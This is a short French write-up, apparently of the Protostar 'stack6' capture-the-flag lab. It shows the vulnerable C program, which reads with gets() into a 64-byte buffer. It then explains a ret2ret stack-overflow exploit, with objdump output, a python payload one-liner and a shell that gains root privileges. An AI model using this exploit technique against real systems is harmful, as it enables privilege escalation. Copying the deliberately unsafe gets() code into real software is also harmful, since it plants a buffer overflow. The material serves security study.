#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
Petite difficulté en plus, cette fois ci nous ne pouvons pas faire sauter directement le programme sur une adresse commençant par 0xbf
. Cependant, si on fait sauter le programme sur lui même, sur un ret
par exemple. Il va dépiler une adresse et sauter dessus de nouveau ! Il suffit de donc de faire sauter le programme sur un ret
et de donner ensuite l'adresse de notre shellcode pour que celui ci saute dessus.
user@protostar:/opt/protostar/bin$ objdump -S ./stack6 | grep ret 804835f: c3 ret <<<< On prend celui ci par exemple 8048454: c3 ret 8048482: c3 ret 80484f9: c3 ret 8048508: c3 ret 8048514: c3 ret 8048579: c3 ret 804857d: c3 ret 80485a9: c3 ret 80485c7: c3 ret user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x5f\x83\x04\x08"+"\x6f\xfd\xff\xbf"'; cat) | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAA_o??? id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)